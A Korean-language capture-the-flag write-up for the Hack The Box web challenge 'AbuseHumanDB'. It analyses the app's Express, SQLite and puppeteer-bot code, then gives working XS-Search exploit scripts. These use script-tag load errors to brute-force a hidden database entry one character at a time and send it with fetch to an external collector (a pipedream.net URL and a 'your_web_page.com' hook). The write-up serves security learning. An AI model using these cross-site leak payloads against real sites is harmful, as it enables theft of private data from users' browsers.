[HTB] AbuseHumanDB Writeup
우선 플래그 획득 조건을 확인해보자.
//database.js
const sqlite = require('sqlite-async');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
return this.db.exec(`
PRAGMA case_sensitive_like=ON;
DROP TABLE IF EXISTS userEntries;
CREATE TABLE IF NOT EXISTS userEntries (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
title VARCHAR(255) NOT NULL UNIQUE,
url VARCHAR(255) NOT NULL,
approved BOOLEAN NOT NULL
);
INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0);
// ##### ............................................................. (1)
`);
}
async listEntries(approved=1) {
// ##### ................................................ (2)
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE approved = ?");
resolve(await stmt.all(approved));
} catch(e) {
console.log(e);
reject(e);
}
});
}
async getEntry(query, approved=1) {
// ##### .............................................. (3)
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?");
resolve(await stmt.all(query, approved));
} catch(e) {
console.log(e);
reject(e);
}
});
}
}
module.exports = Database;
(1) 을 보면 플래그는 이미 데이터 베이스 초기 값에 저장되어있다. 다만, approved 값이 다른 데이터들과 다르게 0 으로 되어 있다.
(2),(3) 과 같이 웹 서비스 상에서 데이터베이스가 호출될 때 approved=1 이 디폴트로 설정되어 있음을 알 수 있다.
(구문들이 SQL Injection에 취약해보이지는 않아서 해당 시나리오는 배제했다)
실제로 웹 상에서 DB조회 기능의 결과는 approved가 1인 요소들만 출력됨을 확인 할 수 있다.
Index.js에서 database.js의 listEntries, getEntry 가 호출되는 로직을 살펴보면,
//index.js
const bot = require('../bot');
const path = require('path');
const express = require('express');
const router = express.Router();
const response = data => ({ message: data });
const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1);
// ##### ........................................ (1)
let db;
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.get('/entries', (req, res) => {
return res.sendFile(path.resolve('views/entries.html'));
});
router.get('/api/entries', (req, res) => {
return db.listEntries(isLocalhost(req))
// ###### .................................... (2)
.then(entries => {
res.json(entries);
})
.catch(() => res.send(response('Something went wrong!')));
});
router.post('/api/entries', (req, res) => {
const { url } = req.body;
if (url) {
uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
if (url.match(uregex)) {
return bot.visitPage(url)
.then(() => res.send(response('Your submission is now pending review!')))
.catch(() => res.send(response('Something went wrong! Please try again!')))
}
return res.status(403).json(response('Please submit a valid URL!'));
}
return res.status(403).json(response('Missing required parameters!'));
});
router.get('/api/entries/search', (req, res) => {
if(req.query.q) {
const query = `${req.query.q}%`;
return db.getEntry(query, isLocalhost(req))
// ##### ............................................ (3)
.then(entries => {
if(entries.length == 0) return res.status(404).send(response('Your search did not yield any results!'));
res.json(entries);
})
.catch(() => res.send(response('Something went wrong! Please try again!')));
}
return res.status(403).json(response('Missing required parameters!'));
});
module.exports = database => {
db = database;
return router;
};
(2),(3) 과 같이 isLocalhost(req)의 값을 기반으로 approved 판별에 쓰일 값을 전달해줌을 알 수 있고,
isLocalhost는 (1)과 같이 req.ip가 127.0.0.1 이어야 하며, req.header.host 값이 127.0.0.1:1337 이어야 한다.
정리하면, 플래그는 내부 사용자로부터 웹 서비스 내의 DB 조회 기능(listEntries, getEntry)을 이용 했을 시 approved 값이 0 이 되므로 플래그 값을 조회 가능하다는 것이다.
내부 사용자로부터 DB 조회를 유도하여 그 값을 확인하는 방법이 있는지를 염두해두며 분석을 이어나가 보자.
메인 페이지에 URL을 입력하는 기능이 있는데, 입력한 URL에 대해 bot이 아래와 같이 방문한다.
//bot.js
const puppeteer = require('puppeteer');
const browser_options = {
headless: true,
//headless: false,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update',
'--js-flags=--noexpose_wasm,--jitless' // yoinking from strellic :sice:
]
};
const visitPage = async url => {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
await page.goto(url, {
waitUntil: 'networkidle2'
});
await page.waitForTimeout(7000);
await browser.close();
};
module.exports = { visitPage };
headless 브라우저로 입력받는 url에 접근 후 7초 뒤 브라우저를 종료시킨다는 내용이다.
bot 활용이 가능하므로,
내 개인 서버에 접속한 사용자가 조회 기능(/api/entries/search) 을 실행하도록 하고 그 응답 데이터를 내 서버로 전달하도록 하는 스크립트를 작성 후 해당 URL을 bot이 접근하도록 해보았다.
코드 작성후 테스트 해보았을때 CORS 제한 정책 때문에 실행되지는 않았지만, 우선 approved = 0 으로 인식은 되는지 확인이 필요했기 때문에 로컬에 문제 서버를 구축하여 테스트를 해보았고 의도한대로 req.ip와 req.header.host가 인식되는 것을 확인 할 수 있었다.
// 참고 getResponse.jsp
<script>
const xhr = new XMLHttpRequest();
xhr.open('GET', 'http://209.97.131.43:30030/api/entries/search?q=aaaa');
xhr.onload = function() {
if (xhr.status === 404) {
console.log('404 Error');
} else {
console.log(xhr.responseText);
}
};
xhr.send();
</script>
문제는, bot이 내가 코드를 작성해놓은 서버에 접근 후 제공받은 스크립트를 실행시키게 되는 것이기 때문에 SOP를 만족하지 않아 브라우저에서 CORS 제한을 하므로 스크립트 코드가 작동하지 않아, 플래그를 탈취 할 수 없다는 점이었다.
어떻게 우회 할까 이것 저것 해보다가.. 이용해봄직한 현상을 발견했다.
조회 기능에서 유효한 조회이면 200 OK 가 반환되지만, 결과 값이 없는 유효하지 않은 조회이면 404 Not Found 를 반환한다는 것이었다. 이 현상을 이용해서 XS-Leaks/XS-Search 기법을 이용하는 시나리오를 시도해 볼만 하다고 생각했다.
문제는 200 OK 일 때와 404 Not Found 일 때를 어떻게 구별하냐였다.
브라우저 콘솔 에러 메세지에 케이스 별로 net::ERR_FAILD 200 (OK) / net::ERR_FAILD 404 (Not Found) 가 구분되어 출력되긴 했지만 저 값을 따로 가져다 쓴다는 등, 해당 값을 기반으로 이후 스크립트 로직을 짤 수 없었다.
어떻게 이 문제를 해결 할 까 하다가, html 태그 중 src를 사용하는 요소를 활용해서 src가 유효한 url이냐(응답 코드)에 따라서 구분지을 수 있는 방법이 있지 않을까 생각해보았다.
여러 케이스를 테스트 해보기위해 아래와 같이 src 요소를 사용하는 html태그들 목록을 확인해 보았다.
다른 태그들도 테스트를 해보았으나 잘 되지 않았고.. script 태그에서 아래와 같이 테스트를 해보니 onload를 할 때 에러 발생 유무로 구분을 지을 수 있음을 확인했다.
<script>
var script = document.createElement('script');
script.src = 'http://209.97.131.43:30030/api/entries/search?q=Ba'; // 200 OK
//script.src = 'http://209.97.131.43:30030/api/entries/search?q=Vardy'; // 400 Not Found
script.onload = function() {
console.log('200 OK');
};
script.onerror = function() {
console.error('Not Found');
};
document.head.appendChild(script);
</script>
위 현상을 이용하여 플래그를 한 글자씩 조회하면서 onload가 성공 했을때 그 값을 개인 서버로 보내고, 플래그 값에 추가를 해주는 익스플로잇 코드를 작성했다.
<script>
var charList = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!}_";
//var flag = "B" // not local user
var flag = "HTB{" // locat user test
//var flag = "HTB{5w33t_ali3ndr3n_0f_min3!"
console.log('[*] FLAG = '+flag)
//while(!flag.endsWith('x')){
for (var i = 0; i < charList.length; i++) {
(function (Index) {
setTimeout(function() {
var script = document.createElement('script');
console.log(charList[Index])
var reqUrl = 'http://127.0.0.1:1337/api/entries/search?q='+flag+charList[Index];
script.src = reqUrl
script.onload = function() {
console.log('200 OK');
flag += charList[Index];
console.log(reqUrl)
console.log("[*] FLAG = " +flag)
fetch('https://eo92k973yrfg41e.m.pipedream.net/?FLAG='+flag)
};
script.onerror = function() {
console.error('Not Found');
};
document.head.appendChild(script);
}, 500);
})(i)
}
</script>
우선 해당 스크립트가 돌아가나 테스트를 해보았다. "Back The Hox"라는 키워드가 있어서, 초기 플래그를 "B"로 검색을 하면 Ba가 서버로 전송된다. 그 후 "Ba"로 재지정하여 시도하면 Bac가 서버로 전송되는 방식이다.
("_" 는 기본으로 허용되는 것 같다. 실제고 Bac_로 검색해도 유효하다.)
이제 flag의 시작값을 "HTB{"로 수정 후 bot에게 해당 페이지에 접근을 시도하면 플래그값을 추출 할 수 있을 것이다.
...
이렇게 한 글자가 추출될때마다 그 글자를 초기 플래그에 추가해주며 반복하면서 플래그를 추출했다..
...
FLAG = HTB{5w33t_ali3ndr3n_0f_min3!}
+ 아무래도 한글자씩 찾는거보다 더 효율적인 방법이 있을 것 같아서 알아봤는데, 7초 동안만 실행되더라도 그 사이에 여러 문자를 뽑는 방법이 있었다.
https://skelter.hashnode.dev/htb-abusehumandb-writeup
[HTB] AbuseHumandb writeup
Afaik, this is the first publicly available writeup on this challenge. abusehumandb is a fun one on HackTheBox, but i wouldn’t rate it as “easy”, compared to other easy ones there. . . If you have any questions, leave a comment, but for now, i’d re
skelter.hashnode.dev
<html>
<script>
var ip = ‘127.0.0.1:1337’;
var ip2 = ‘138.68.131.63:30644’;
var hook = ‘your_web_page.com’;
var flag = ‘HTB’;
var abc = ‘-+!@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_’;
var special = ‘_%\”\’’;
var url1 = `http://${ip}/api/entries/search?q=`
async function getPartialFlag(char){
return new Promise((resolve, reject)=>{
const script = document.createElement(“script”);
script.src = url1+encodeURIComponent(flag+char);
script.onload = () => char===’}’ ? reject(char):resolve(char);
script.onerror = () => reject(char);
document.head.appendChild(script);
});
}
async function getFlag(chars) {
var b = false; var char;
for(var i=0; i < chars.length; i++){
char = special.includes(chars[i]) ? ‘\\’+chars[i]:chars[i];
await getPartialFlag(char).then((res) => {flag=flag.concat(res); b = res===’}’ ? true:false; i=0} , (res)=> { } );
if(b) break;}
fetch(`http://${hook}/flag=${flag}`, {method:’get’});
};
getFlag(abc);
</script>
<html>